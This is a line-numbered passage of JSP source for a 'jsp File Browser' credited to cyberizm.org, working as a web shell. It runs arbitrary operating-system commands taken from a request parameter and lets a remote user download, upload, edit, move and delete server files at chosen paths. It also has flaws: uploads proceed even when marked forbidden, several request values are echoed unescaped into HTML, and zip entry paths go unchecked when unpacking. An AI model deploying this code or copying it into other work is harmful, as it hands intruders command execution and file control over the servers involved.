  928. String mimeType = getMimeType(f.getName());
  929. response.setContentType(mimeType);
  930. if (mimeType.equals("text/plain")) response.setHeader(
  931. "Content-Disposition", "inline;filename=\"temp.txt\"");
  932. else response.setHeader("Content-Disposition", "inline;filename=\""
  933. + f.getName() + "\"");
  934. BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f));
  935. byte buffer[] = new byte[8 * 1024];
  936. out.clearBuffer();
  937. OutputStream out_s = new Writer2Stream(out);
  938. copyStreamsWithoutClose(fileInput, out_s, buffer);
  939. fileInput.close();
  940. out_s.flush();
  941. nohtml = true;
  942. dir_view = false;
  943. }
  944. }
  945. else {
  946. request.setAttribute("dir", f.getParent());
  947. request.setAttribute("error", "File " + f.getAbsolutePath()
  948. + " does not exist or is not readable on the server");
  949. }
  950. }
  951. // Download selected files as zip file
  952. else if ((request.getParameter("Submit") != null)
  953. && (request.getParameter("Submit").equals(SAVE_AS_ZIP))) {
  954. Vector v = expandFileList(request.getParameterValues("selfile"), false);
  955. //Check if all files in vector are allowed
  956. String notAllowedFile = null;
  957. for (int i = 0;i < v.size(); i++){
  958. File f = (File) v.get(i);
  959. if (!isAllowed(f, false)){
  960. notAllowedFile = f.getAbsolutePath();
  961. break;
  962. }
  963. }
  964. if (notAllowedFile != null){
  965. request.setAttribute("error", "You are not allowed to access " + notAllowedFile);
  966. }
  967. else if (v.size() == 0) {
  968. request.setAttribute("error", "No files selected");
  969. }
  970. else {
  971. File dir_file = new File("" + request.getAttribute("dir"));
  972. int dir_l = dir_file.getAbsolutePath().length();
  973. response.setContentType("application/zip");
  974. response.setHeader("Content-Disposition", "attachment;filename=\"rename_me.zip\"");
  975. out.clearBuffer();
  976. ZipOutputStream zipout = new ZipOutputStream(new Writer2Stream(out));
  977. zipout.setComment("Created by jsp File Browser v. " + VERSION_NR);
  978. zipout.setLevel(COMPRESSION_LEVEL);
  979. for (int i = 0; i < v.size(); i++) {
  980. File f = (File) v.get(i);
  981. if (f.canRead()) {
  982. zipout.putNextEntry(new ZipEntry(f.getAbsolutePath().substring(dir_l + 1)));
  983. BufferedInputStream fr = new BufferedInputStream(new FileInputStream(f));
  984. byte buffer[] = new byte[0xffff];
  985. copyStreamsWithoutClose(fr, zipout, buffer);
  986. /* int b;
  987. while ((b=fr.read())!=-1) zipout.write(b);*/
  988. fr.close();
  989. zipout.closeEntry();
  990. }
  991. }
  992. zipout.finish();
  993. out.flush();
  994. nohtml = true;
  995. dir_view = false;
  996. }
  997. }
  998. // Download file
  999. else if (request.getParameter("downfile") != null) {
  1000. String filePath = request.getParameter("downfile");
  1001. File f = new File(filePath);
  1002. if (!isAllowed(f, false)){
  1003. request.setAttribute("dir", f.getParent());
  1004. request.setAttribute("error", "You are not allowed to access " + f.getAbsoluteFile());
  1005. }
  1006. else if (f.exists() && f.canRead()) {
  1007. response.setContentType("application/octet-stream");
  1008. response.setHeader("Content-Disposition", "attachment;filename=\"" + f.getName()
  1009. + "\"");
  1010. response.setContentLength((int) f.length());
  1011. BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f));
  1012. byte buffer[] = new byte[8 * 1024];
  1013. out.clearBuffer();
  1014. OutputStream out_s = new Writer2Stream(out);
  1015. copyStreamsWithoutClose(fileInput, out_s, buffer);
  1016. fileInput.close();
  1017. out_s.flush();
  1018. nohtml = true;
  1019. dir_view = false;
  1020. }
  1021. else {
  1022. request.setAttribute("dir", f.getParent());
  1023. request.setAttribute("error", "File " + f.getAbsolutePath()
  1024. + " does not exist or is not readable on the server");
  1025. }
  1026. }
  1027. if (nohtml) return;
  1028. //else
  1029. // If no parameter is submitted, it will take the path from jsp file browser
  1030. if (request.getAttribute("dir") == null) {
  1031. String path = null;
  1032. if (application.getRealPath(request.getRequestURI()) != null) {
  1033. File f = new File(application.getRealPath(request.getRequestURI())).getParentFile();
  1034. //This is a hack needed for tomcat
  1035. while (f != null && !f.exists())
  1036. f = f.getParentFile();
  1037. if (f != null)
  1038. path = f.getAbsolutePath();
  1039. }
  1040. if (path == null) { // handle the case where we are not in a directory (ex: war file)
  1041. path = new File(".").getAbsolutePath();
  1042. }
  1043. //Check path
  1044. if (!isAllowed(new File(path), false)){
  1045. //TODO Blacklist
  1046. if (RESTRICT_PATH.indexOf(";")<0) path = RESTRICT_PATH;
  1047. else path = RESTRICT_PATH.substring(0, RESTRICT_PATH.indexOf(";"));
  1048. }
  1049. request.setAttribute("dir", path);
  1050. }%>
  1051. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
  1052. "http://www.w3.org/TR/html4/loose.dtd">
  1053. <html>
  1054. <head>
  1055. <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
  1056. <meta name="robots" content="noindex">
  1057. <meta http-equiv="expires" content="0">
  1058. <meta http-equiv="pragma" content="no-cache">
  1059. <%
  1060. //If a cssfile exists, it will take it
  1061. String cssPath = null;
  1062. if (application.getRealPath(request.getRequestURI()) != null) cssPath = new File(
  1063. application.getRealPath(request.getRequestURI())).getParent()
  1064. + File.separator + CSS_NAME;
  1065. if (cssPath == null) cssPath = application.getResource(CSS_NAME).toString();
  1066. if (new File(cssPath).exists()) {
  1067. %>
  1068. <link rel="stylesheet" type="text/css" href="<%=CSS_NAME%>">
  1069. <%}
  1070. else if (request.getParameter("uplMonitor") == null) {%>
  1071. <style type="text/css">
  1072. input.button {background-color: #c0c0c0; color: #666666;
  1073. border: 1px solid #999999; margin: 5px 1px 5px 1px;}
  1074. input.textfield {margin: 5px 1px 5px 1px;}
  1075. input.button:Hover { color: #444444 }
  1076. table.filelist {background-color:#666666; width:100%; border:0px none #ffffff}
  1077. .formular {margin: 1px; background-color:#ffffff; padding: 1em; border:1px solid #000000;}
  1078. .formular2 {margin: 1px;}
  1079. th { background-color:#c0c0c0 }
  1080. tr.mouseout { background-color:#ffffff; }
  1081. tr.mousein { background-color:#eeeeee; }
  1082. tr.checked { background-color:#cccccc }
  1083. tr.mousechecked { background-color:#c0c0c0 }
  1084. td { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}
  1085. td.message { background-color: #FFFF00; color: #000000; text-align:center; font-weight:bold}
  1086. td.error { background-color: #FF0000; color: #000000; text-align:center; font-weight:bold}
  1087. A { text-decoration: none; }
  1088. A:Hover { color : Red; text-decoration : underline; }
  1089. BODY { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}
  1090. </style>
  1091. <%}
  1092.  
  1093. //Check path
  1094. if (!isAllowed(new File((String)request.getAttribute("dir")), false)){
  1095. request.setAttribute("error", "You are not allowed to access " + request.getAttribute("dir"));
  1096. }
  1097. //Upload monitor
  1098. else if (request.getParameter("uplMonitor") != null) {%>
  1099. <style type="text/css">
  1100. BODY { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}
  1101. </style><%
  1102. String fname = request.getParameter("uplMonitor");
  1103. //First opening
  1104. boolean first = false;
  1105. if (request.getParameter("first") != null) first = true;
  1106. UplInfo info = new UplInfo();
  1107. if (!first) {
  1108. info = UploadMonitor.getInfo(fname);
  1109. if (info == null) {
  1110. //Windows
  1111. int posi = fname.lastIndexOf("\\");
  1112. if (posi != -1) info = UploadMonitor.getInfo(fname.substring(posi + 1));
  1113. }
  1114. if (info == null) {
  1115. //Unix
  1116. int posi = fname.lastIndexOf("/");
  1117. if (posi != -1) info = UploadMonitor.getInfo(fname.substring(posi + 1));
  1118. }
  1119. }
  1120. dir_view = false;
  1121. request.setAttribute("dir", null);
  1122. if (info.aborted) {
  1123. UploadMonitor.remove(fname);
  1124. %>
  1125. </head>
  1126. <body>
  1127. <b>Upload of <%=fname%></b><br><br>
  1128. Upload aborted.</body>
  1129. </html><%
  1130. }
  1131. else if (info.totalSize != info.currSize || info.currSize == 0) {
  1132. %>
  1133. <META HTTP-EQUIV="Refresh" CONTENT="<%=UPLOAD_MONITOR_REFRESH%>;URL=<%=browser_name %>?uplMonitor=<%=URLEncoder.encode(fname)%>">
  1134. </head>
  1135. <body>
  1136. <b>Upload of <%=fname%></b><br><br>
  1137. <center>
  1138. <table height="20px" width="90%" bgcolor="#eeeeee" style="border:1px solid #cccccc"><tr>
  1139. <td bgcolor="blue" width="<%=info.getPercent()%>%"></td><td width="<%=100-info.getPercent()%>%"></td>
  1140. </tr></table></center>
  1141. <%=convertFileSize(info.currSize)%> from <%=convertFileSize(info.totalSize)%>
  1142. (<%=info.getPercent()%> %) uploaded (Speed: <%=info.getUprate()%>).<br>
  1143. Time: <%=info.getTimeElapsed()%> from <%=info.getTimeEstimated()%>
  1144. </body>
  1145. </html><%
  1146. }
  1147. else {
  1148. UploadMonitor.remove(fname);
  1149. %>
  1150. </head>
  1151. <body onload="javascript:window.close()">
  1152. <b>Upload of <%=fname%></b><br><br>
  1153. Upload finished.
  1154. </body>
  1155. </html><%
  1156. }
  1157. }
  1158. //Comandwindow
  1159. else if (request.getParameter("command") != null) {
  1160. if (!NATIVE_COMMANDS){
  1161. request.setAttribute("error", "Execution of native commands is not allowed!");
  1162. }
  1163. else if (!"Cancel".equalsIgnoreCase(request.getParameter("Submit"))) {
  1164. %>
  1165. <title>Launch commands in <%=request.getAttribute("dir")%></title>
  1166. </head>
  1167. <body><center>
  1168. <h2><%=LAUNCH_COMMAND %></h2><br />
  1169. <%
  1170. out.println("<form action=\"" + browser_name + "\" method=\"Post\">\n"
  1171. + "<textarea name=\"text\" wrap=\"off\" cols=\"" + EDITFIELD_COLS
  1172. + "\" rows=\"" + EDITFIELD_ROWS + "\" readonly>");
  1173. String ret = "";
  1174. if (!request.getParameter("command").equalsIgnoreCase(""))
  1175. ret = startProcess(
  1176. request.getParameter("command"), (String) request.getAttribute("dir"));
  1177. out.println(ret);
  1178. %></textarea>
  1179. <input type="hidden" name="dir" value="<%= request.getAttribute("dir")%>">
  1180. <br /><br />
  1181. <table class="formular">
  1182. <tr><td title="Enter your command">
  1183. Command: <input size="<%=EDITFIELD_COLS-5%>" type="text" name="command" value="">
  1184. </td></tr>
  1185. <tr><td><input class="button" type="Submit" name="Submit" value="Launch">
  1186. <input type="hidden" name="sort" value="<%=request.getParameter("sort")%>">
  1187. <input type="Submit" class="button" name="Submit" value="Cancel"></td></tr>
  1188. </table>
  1189. </form>
  1190. <br />
  1191. <hr>
  1192. <center>
  1193. <small>jsp File Browser version <%= VERSION_NR%> by <a href="http://www.cyberizm.org">www.cyberizm.org</a></small>
  1194. </center>
  1195. </center>
  1196. </body>
  1197. </html>
  1198. <%
  1199. dir_view = false;
  1200. request.setAttribute("dir", null);
  1201. }
  1202. }
  1203.  
  1204. //Click on a filename, special viewer (zip+jar file)
  1205. else if (request.getParameter("file") != null) {
  1206. File f = new File(request.getParameter("file"));
  1207. if (!isAllowed(f, false)){
  1208. request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath());
  1209. }
  1210. else if (isPacked(f.getName(), false)) {
  1211. //ZipFile
  1212. try {
  1213. ZipFile zf = new ZipFile(f);
  1214. Enumeration entries = zf.entries();
  1215. %>
  1216. <title><%= f.getAbsolutePath()%></title>
  1217. </head>
  1218. <body>
  1219. <h2>Content of <%=conv2Html(f.getName())%></h2><br />
  1220. <table class="filelist" cellspacing="1px" cellpadding="0px">
  1221. <th>Name</th><th>Uncompressed size</th><th>Compressed size</th><th>Compr. ratio</th><th>Date</th>
  1222. <%
  1223. long size = 0;
  1224. int fileCount = 0;
  1225. while (entries.hasMoreElements()) {
  1226. ZipEntry entry = (ZipEntry) entries.nextElement();
  1227. if (!entry.isDirectory()) {
  1228. fileCount++;
  1229. size += entry.getSize();
  1230. long ratio = 0;
  1231. if (entry.getSize() != 0) ratio = (entry.getCompressedSize() * 100)
  1232. / entry.getSize();
  1233. out.println("<tr class=\"mouseout\"><td>" + conv2Html(entry.getName())
  1234. + "</td><td>" + convertFileSize(entry.getSize()) + "</td><td>"
  1235. + convertFileSize(entry.getCompressedSize()) + "</td><td>"
  1236. + ratio + "%" + "</td><td>"
  1237. + dateFormat.format(new Date(entry.getTime())) + "</td></tr>");
  1238.  
  1239. }
  1240. }
  1241. zf.close();
  1242. //No directory view
  1243. dir_view = false;
  1244. request.setAttribute("dir", null);
  1245. %>
  1246. </table>
  1247. <p align=center>
  1248. <b><%=convertFileSize(size)%> in <%=fileCount%> files in <%=f.getName()%>. Compression ratio: <%=(f.length() * 100) / size%>%
  1249. </b></p>
  1250. </body></html>
  1251. <%
  1252. }
  1253. catch (ZipException ex) {
  1254. request.setAttribute("error", "Cannot read " + f.getName()
  1255. + ", no valid zip file");
  1256. }
  1257. catch (IOException ex) {
  1258. request.setAttribute("error", "Reading of " + f.getName() + " aborted. Error: "
  1259. + ex);
  1260. }
  1261. }
  1262. }
  1263. // Upload
  1264. else if ((request.getContentType() != null)
  1265. && (request.getContentType().toLowerCase().startsWith("multipart"))) {
  1266. if (!ALLOW_UPLOAD){
  1267. request.setAttribute("error", "Upload is forbidden!");
  1268. }
  1269. response.setContentType("text/html");
  1270. HttpMultiPartParser parser = new HttpMultiPartParser();
  1271. boolean error = false;
  1272. try {
  1273. int bstart = request.getContentType().lastIndexOf("oundary=");
  1274. String bound = request.getContentType().substring(bstart + 8);
  1275. int clength = request.getContentLength();
  1276. Hashtable ht = parser
  1277. .processData(request.getInputStream(), bound, tempdir, clength);
  1278. if (!isAllowed(new File((String)ht.get("dir")), false)){
  1279. //This is a hack, cos we are writing to this directory
  1280. request.setAttribute("error", "You are not allowed to access " + ht.get("dir"));
  1281. error = true;
  1282. }
  1283. else if (ht.get("myFile") != null) {
  1284. FileInfo fi = (FileInfo) ht.get("myFile");
  1285. File f = fi.file;
  1286. UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
  1287. if (info != null && info.aborted) {
  1288. f.delete();
  1289. request.setAttribute("error", "Upload aborted");
  1290. }
  1291. else {
  1292. // Move file from temp to the right dir
  1293. String path = (String) ht.get("dir");
  1294. if (!path.endsWith(File.separator)) path = path + File.separator;
  1295. if (!f.renameTo(new File(path + f.getName()))) {
  1296. request.setAttribute("error", "Cannot upload file.");
  1297. error = true;
  1298. f.delete();
  1299. }
  1300. }
  1301. }
  1302. else {
  1303. request.setAttribute("error", "No file selected for upload");
  1304. error = true;
  1305. }
  1306. request.setAttribute("dir", (String) ht.get("dir"));
  1307. }
  1308. catch (Exception e) {
  1309. request.setAttribute("error", "Error " + e + ". Upload aborted");
  1310. error = true;
  1311. }
  1312. if (!error) request.setAttribute("message", "File upload correctly finished.");
  1313. }
  1314. // The form to edit a text file
  1315. else if (request.getParameter("editfile") != null) {
  1316. File ef = new File(request.getParameter("editfile"));
  1317. if (!isAllowed(ef, true)){
  1318. request.setAttribute("error", "You are not allowed to access " + ef.getAbsolutePath());
  1319. }
  1320. else{
  1321. %>
  1322. <title>Edit <%=conv2Html(request.getParameter("editfile"))%></title>
  1323. </head>
  1324. <body>
  1325. <center>
  1326. <h2>Edit <%=conv2Html(request.getParameter("editfile"))%></h2><br />
  1327. <%
  1328. BufferedReader reader = new BufferedReader(new FileReader(ef));
  1329. String disable = "";
  1330. if (!ef.canWrite()) disable = " readonly";
  1331. out.println("<form action=\"" + browser_name + "\" method=\"Post\">\n"
  1332. + "<textarea name=\"text\" wrap=\"off\" cols=\"" + EDITFIELD_COLS
  1333. + "\" rows=\"" + EDITFIELD_ROWS + "\"" + disable + ">");
  1334. String c;
  1335. // Write out the file and check if it is a win or unix file
  1336. int i;
  1337. boolean dos = false;
  1338. boolean cr = false;
  1339. while ((i = reader.read()) >= 0) {
  1340. out.print(conv2Html(i));
  1341. if (i == '\r') cr = true;
  1342. else if (cr && (i == '\n')) dos = true;
  1343. else cr = false;
  1344. }
  1345. reader.close();
  1346. //No File directory is shown
  1347. request.setAttribute("dir", null);
  1348. dir_view = false;
  1349.  
  1350. %></textarea><br /><br />
  1351. <table class="formular">
  1352. <input type="hidden" name="nfile" value="<%= request.getParameter("editfile")%>">
  1353. <input type="hidden" name="sort" value="<%=request.getParameter("sort")%>">
  1354. <tr><td colspan="2"><input type="radio" name="lineformat" value="dos" <%= dos?"checked":""%>>Ms-Dos/Windows
  1355. <input type="radio" name="lineformat" value="unix" <%= dos?"":"checked"%>>Unix
  1356. <input type="checkbox" name="Backup" checked>Write backup</td></tr>
  1357. <tr><td title="Enter the new filename"><input type="text" name="new_name" value="<%=ef.getName()%>">
  1358. <input type="Submit" name="Submit" value="Save"></td>
  1359. </form>
  1360. <form action="<%=browser_name%>" method="Post">
  1361. <td align="left">
  1362. <input type="Submit" name="Submit" value="Cancel">
  1363. <input type="hidden" name="nfile" value="<%= request.getParameter("editfile")%>">
  1364. <input type="hidden" name="sort" value="<%=request.getParameter("sort")%>">
  1365. </td>
  1366. </form>
  1367. </tr>
  1368. </table>
  1369. </center>
  1370. <br />
  1371. <hr>
  1372. <center>
  1373. <small>jsp File Browser version <%= VERSION_NR%> by <a href="http://www.cyberizm.org">www.cyberizm.org</a></small>
  1374. </center>
  1375. </body>
  1376. </html>
  1377. <%
  1378. }
  1379. }
  1380. // Save or cancel the edited file
  1381. else if (request.getParameter("nfile") != null) {
  1382. File f = new File(request.getParameter("nfile"));
  1383. if (request.getParameter("Submit").equals("Save")) {
  1384. File new_f = new File(getDir(f.getParent(), request.getParameter("new_name")));
  1385. if (!isAllowed(new_f, true)){
  1386. request.setAttribute("error", "You are not allowed to access " + new_f.getAbsolutePath());
  1387. }
  1388. if (new_f.exists() && new_f.canWrite() && request.getParameter("Backup") != null) {
  1389. File bak = new File(new_f.getAbsolutePath() + ".bak");
  1390. bak.delete();
  1391. new_f.renameTo(bak);
  1392. }
  1393. if (new_f.exists() && !new_f.canWrite()) request.setAttribute("error",
  1394. "Cannot write to " + new_f.getName() + ", file is write protected.");
  1395. else {
  1396. BufferedWriter outs = new BufferedWriter(new FileWriter(new_f));
  1397. StringReader text = new StringReader(request.getParameter("text"));
  1398. int i;
  1399. boolean cr = false;
  1400. String lineend = "\n";
  1401. if (request.getParameter("lineformat").equals("dos")) lineend = "\r\n";
  1402. while ((i = text.read()) >= 0) {
  1403. if (i == '\r') cr = true;
  1404. else if (i == '\n') {
  1405. outs.write(lineend);
  1406. cr = false;
  1407. }
  1408. else if (cr) {
  1409. outs.write(lineend);
  1410. cr = false;
  1411. }
  1412. else {
  1413. outs.write(i);
  1414. cr = false;
  1415. }
  1416. }
  1417. outs.flush();
  1418. outs.close();
  1419. }
  1420. }
  1421. request.setAttribute("dir", f.getParent());
  1422. }
  1423. //Unpack file to the current directory without overwriting
  1424. else if (request.getParameter("unpackfile") != null) {
  1425. File f = new File(request.getParameter("unpackfile"));
  1426. String root = f.getParent();
  1427. request.setAttribute("dir", root);
  1428. if (!isAllowed(new File(root), true)){
  1429. request.setAttribute("error", "You are not allowed to access " + root);
  1430. }
  1431. //Check if file exists
  1432. else if (!f.exists()) {
  1433. request.setAttribute("error", "Cannot unpack " + f.getName()
  1434. + ", file does not exist");
  1435. }
  1436. //Check if directory is readonly
  1437. else if (!f.getParentFile().canWrite()) {
  1438. request.setAttribute("error", "Cannot unpack " + f.getName()
  1439. + ", directory is write protected.");
  1440. }
  1441. //GZip
  1442. else if (f.getName().toLowerCase().endsWith(".gz")) {
  1443. //New name is old Name without .gz
  1444. String newName = f.getAbsolutePath().substring(0, f.getAbsolutePath().length() - 3);
  1445. try {
  1446. byte buffer[] = new byte[0xffff];
  1447. copyStreams(new GZIPInputStream(new FileInputStream(f)), new FileOutputStream(
  1448. newName), buffer);
  1449. }
  1450. catch (IOException ex) {
  1451. request.setAttribute("error", "Unpacking of " + f.getName()
  1452. + " aborted. Error: " + ex);
  1453. }
  1454. }
  1455. //Else try Zip
  1456. else {
  1457. try {
  1458. ZipFile zf = new ZipFile(f);
  1459. Enumeration entries = zf.entries();
  1460. //First check whether a file already exist
  1461. boolean error = false;
  1462. while (entries.hasMoreElements()) {
  1463. ZipEntry entry = (ZipEntry) entries.nextElement();
  1464. if (!entry.isDirectory()
  1465. && new File(root + File.separator + entry.getName()).exists()) {
  1466. request.setAttribute("error", "Cannot unpack " + f.getName()
  1467. + ", File " + entry.getName() + " already exists.");
  1468. error = true;
  1469. break;
  1470. }
  1471. }
  1472. if (!error) {
  1473. //Unpack File
  1474. entries = zf.entries();
  1475. byte buffer[] = new byte[0xffff];
  1476. while (entries.hasMoreElements()) {
  1477. ZipEntry entry = (ZipEntry) entries.nextElement();
  1478. File n = new File(root + File.separator + entry.getName());
  1479. if (entry.isDirectory()) n.mkdirs();
  1480. else {
  1481. n.getParentFile().mkdirs();
  1482. n.createNewFile();
  1483. copyStreams(zf.getInputStream(entry), new FileOutputStream(n),
  1484. buffer);
  1485. }
  1486. }
  1487. zf.close();
  1488. request.setAttribute("message", "Unpack of " + f.getName()
  1489. + " was successful.");
  1490. }
  1491. }
  1492. catch (ZipException ex) {
  1493. request.setAttribute("error", "Cannot unpack " + f.getName()
  1494. + ", no valid zip file");
  1495. }
  1496. catch (IOException ex) {
  1497. request.setAttribute("error", "Unpacking of " + f.getName()
  1498. + " aborted. Error: " + ex);
  1499. }
  1500. }
  1501. }
  1502. // Delete Files
  1503. else if ((request.getParameter("Submit") != null)
  1504. && (request.getParameter("Submit").equals(DELETE_FILES))) {
  1505. Vector v = expandFileList(request.getParameterValues("selfile"), true);
  1506. boolean error = false;
  1507. //delete backwards
  1508. for (int i = v.size() - 1; i >= 0; i--) {
  1509. File f = (File) v.get(i);
  1510. if (!isAllowed(f, true)){
  1511. request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath());
  1512. error = true;
  1513. break;
  1514. }
  1515. if (!f.canWrite() || !f.delete()) {
  1516. request.setAttribute("error", "Cannot delete " + f.getAbsolutePath()
  1517. + ". Deletion aborted");
  1518. error = true;
  1519. break;
  1520. }
  1521. }
  1522. if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files deleted");
  1523. else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File deleted");
  1524. else if (!error) request.setAttribute("error", "No files selected");
  1525. }
  1526. // Create Directory
  1527. else if ((request.getParameter("Submit") != null)
  1528. && (request.getParameter("Submit").equals(CREATE_DIR))) {
  1529. String dir = "" + request.getAttribute("dir");
  1530. String dir_name = request.getParameter("cr_dir");
  1531. String new_dir = getDir(dir, dir_name);
  1532. if (!isAllowed(new File(new_dir), true)){
  1533. request.setAttribute("error", "You are not allowed to access " + new_dir);
  1534. }
  1535. else if (new File(new_dir).mkdirs()) {
  1536. request.setAttribute("message", "Directory created");
  1537. }
  1538. else request.setAttribute("error", "Creation of directory " + new_dir + " failed");
  1539. }
  1540. // Create a new empty file
  1541. else if ((request.getParameter("Submit") != null)
  1542. && (request.getParameter("Submit").equals(CREATE_FILE))) {
  1543. String dir = "" + request.getAttribute("dir");
  1544. String file_name = request.getParameter("cr_dir");
  1545. String new_file = getDir(dir, file_name);
  1546. if (!isAllowed(new File(new_file), true)){
  1547. request.setAttribute("error", "You are not allowed to access " + new_file);
  1548. }
  1549. // Test, if file_name is empty
  1550. else if (!"".equals(file_name.trim()) && !file_name.endsWith(File.separator)) {
  1551. if (new File(new_file).createNewFile()) request.setAttribute("message",
  1552. "File created");
  1553. else request.setAttribute("error", "Creation of file " + new_file + " failed");
  1554. }
  1555. else request.setAttribute("error", "Error: " + file_name + " is not a valid filename");
  1556. }
  1557. // Rename a file
  1558. else if ((request.getParameter("Submit") != null)
  1559. && (request.getParameter("Submit").equals(RENAME_FILE))) {
  1560. Vector v = expandFileList(request.getParameterValues("selfile"), true);
  1561. String dir = "" + request.getAttribute("dir");
  1562. String new_file_name = request.getParameter("cr_dir");
  1563. String new_file = getDir(dir, new_file_name);
  1564. if (!isAllowed(new File(new_file), true)){
  1565. request.setAttribute("error", "You are not allowed to access " + new_file);
  1566. }
  1567. // The error conditions:
  1568. // 1) Zero Files selected
  1569. else if (v.size() <= 0) request.setAttribute("error",
  1570. "Select exactly one file or folder. Rename failed");
  1571. // 2a) Multiple files selected and the first isn't a dir
  1572. // Here we assume that expandFileList builds v from top-bottom, starting with the dirs
  1573. else if ((v.size() > 1) && !(((File) v.get(0)).isDirectory())) request.setAttribute(
  1574. "error", "Select exactly one file or folder. Rename failed");
  1575. // 2b) If there are multiple files from the same directory, rename fails
  1576. else if ((v.size() > 1) && ((File) v.get(0)).isDirectory()
  1577. && !(((File) v.get(0)).getPath().equals(((File) v.get(1)).getParent()))) {
  1578. request.setAttribute("error", "Select exactly one file or folder. Rename failed");
  1579. }
  1580. else {
  1581. File f = (File) v.get(0);
  1582. if (!isAllowed(f, true)){
  1583. request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath());
  1584. }
  1585. // Test, if file_name is empty
  1586. else if ((new_file.trim() != "") && !new_file.endsWith(File.separator)) {
  1587. if (!f.canWrite() || !f.renameTo(new File(new_file.trim()))) {
  1588. request.setAttribute("error", "Creation of file " + new_file + " failed");
  1589. }
  1590. else request.setAttribute("message", "Renamed file "
  1591. + ((File) v.get(0)).getName() + " to " + new_file);
  1592. }
  1593. else request.setAttribute("error", "Error: \"" + new_file_name
  1594. + "\" is not a valid filename");
  1595. }
  1596. }
  1597. // Move selected file(s)
  1598. else if ((request.getParameter("Submit") != null)
  1599. && (request.getParameter("Submit").equals(MOVE_FILES))) {
  1600. Vector v = expandFileList(request.getParameterValues("selfile"), true);
  1601. String dir = "" + request.getAttribute("dir");
  1602. String dir_name = request.getParameter("cr_dir");
  1603. String new_dir = getDir(dir, dir_name);
  1604. if (!isAllowed(new File(new_dir), false)){
  1605. request.setAttribute("error", "You are not allowed to access " + new_dir);
  1606. }
  1607. else{
  1608. boolean error = false;
  1609. // This ensures that new_dir is a directory
  1610. if (!new_dir.endsWith(File.separator)) new_dir += File.separator;
  1611. for (int i = v.size() - 1; i >= 0; i--) {
  1612. File f = (File) v.get(i);
  1613. if (!isAllowed(f, true)){
  1614. request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath());
  1615. error = true;
  1616. break;
  1617. }
  1618. else if (!f.canWrite() || !f.renameTo(new File(new_dir
  1619. + f.getAbsolutePath().substring(dir.length())))) {
  1620. request.setAttribute("error", "Cannot move " + f.getAbsolutePath()
  1621. + ". Move aborted");
  1622. error = true;
  1623. break;
  1624. }
  1625. }
  1626. if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files moved");
  1627. else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File moved");
  1628. else if (!error) request.setAttribute("error", "No files selected");
  1629. }
  1630. }
  1631. // Copy Files
  1632. else if ((request.getParameter("Submit") != null)
  1633. && (request.getParameter("Submit").equals(COPY_FILES))) {
  1634. Vector v = expandFileList(request.getParameterValues("selfile"), true);
  1635. String dir = (String) request.getAttribute("dir");
  1636. if (!dir.endsWith(File.separator)) dir += File.separator;
  1637. String dir_name = request.getParameter("cr_dir");
  1638. String new_dir = getDir(dir, dir_name);
  1639. if (!isAllowed(new File(new_dir), true)){
  1640. request.setAttribute("error", "You are not allowed to access " + new_dir);
  1641. }
  1642. else{
  1643. boolean error = false;
  1644. if (!new_dir.endsWith(File.separator)) new_dir += File.separator;
  1645. try {
  1646. byte buffer[] = new byte[0xffff];
  1647. for (int i = 0; i < v.size(); i++) {
  1648. File f_old = (File) v.get(i);
  1649. File f_new = new File(new_dir + f_old.getAbsolutePath().substring(dir.length()));
  1650. if (!isAllowed(f_old, false)|| !isAllowed(f_new, true)){
  1651. request.setAttribute("error", "You are not allowed to access " + f_new.getAbsolutePath());
  1652. error = true;
  1653. }
  1654. else if (f_old.isDirectory()) f_new.mkdirs();
  1655. // Overwriting is forbidden
  1656. else if (!f_new.exists()) {
  1657. copyStreams(new FileInputStream(f_old), new FileOutputStream(f_new), buffer);
  1658. }
  1659. else {
  1660. // File exists
  1661. request.setAttribute("error", "Cannot copy " + f_old.getAbsolutePath()
  1662. + ", file already exists. Copying aborted");
  1663. error = true;
  1664. break;
  1665. }
  1666. }
  1667. }
  1668. catch (IOException e) {
  1669. request.setAttribute("error", "Error " + e + ". Copying aborted");
  1670. error = true;
  1671. }
  1672. if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files copied");
  1673. else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File copied");
  1674. else if (!error) request.setAttribute("error", "No files selected");
  1675. }
  1676. }
  1677. // Directory viewer
  1678. if (dir_view && request.getAttribute("dir") != null) {
  1679. File f = new File("" + request.getAttribute("dir"));
  1680. //Check, whether the dir exists
  1681. if (!f.exists() || !isAllowed(f, false)) {
  1682. if (!f.exists()){
  1683. request.setAttribute("error", "Directory " + f.getAbsolutePath() + " does not exist.");
  1684. }
  1685. else{
  1686. request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath());
  1687. }
  1688. //if attribute olddir exists, it will change to olddir
  1689. if (request.getAttribute("olddir") != null && isAllowed(new File((String) request.getAttribute("olddir")), false)) {
  1690. f = new File("" + request.getAttribute("olddir"));
  1691. }
  1692. //try to go to the parent dir
  1693. else {
  1694. if (f.getParent() != null && isAllowed(f, false)) f = new File(f.getParent());
  1695. }
  1696. //If this dir also do also not exist, go back to browser.jsp root path
  1697. if (!f.exists()) {
  1698. String path = null;
  1699. if (application.getRealPath(request.getRequestURI()) != null) path = new File(
  1700. application.getRealPath(request.getRequestURI())).getParent();
  1701.  
  1702. if (path == null) // handle the case were we are not in a directory (ex: war file)
  1703. path = new File(".").getAbsolutePath();
  1704. f = new File(path);
  1705. }
  1706. if (isAllowed(f, false)) request.setAttribute("dir", f.getAbsolutePath());
  1707. else request.setAttribute("dir", null);
  1708. }
  1709. %>
  1710. <script type="text/javascript" src="<%=browser_name %>?Javascript">
  1711. </script>
  1712. <title><%=request.getAttribute("dir")%></title>
  1713. </head>
  1714. <body>
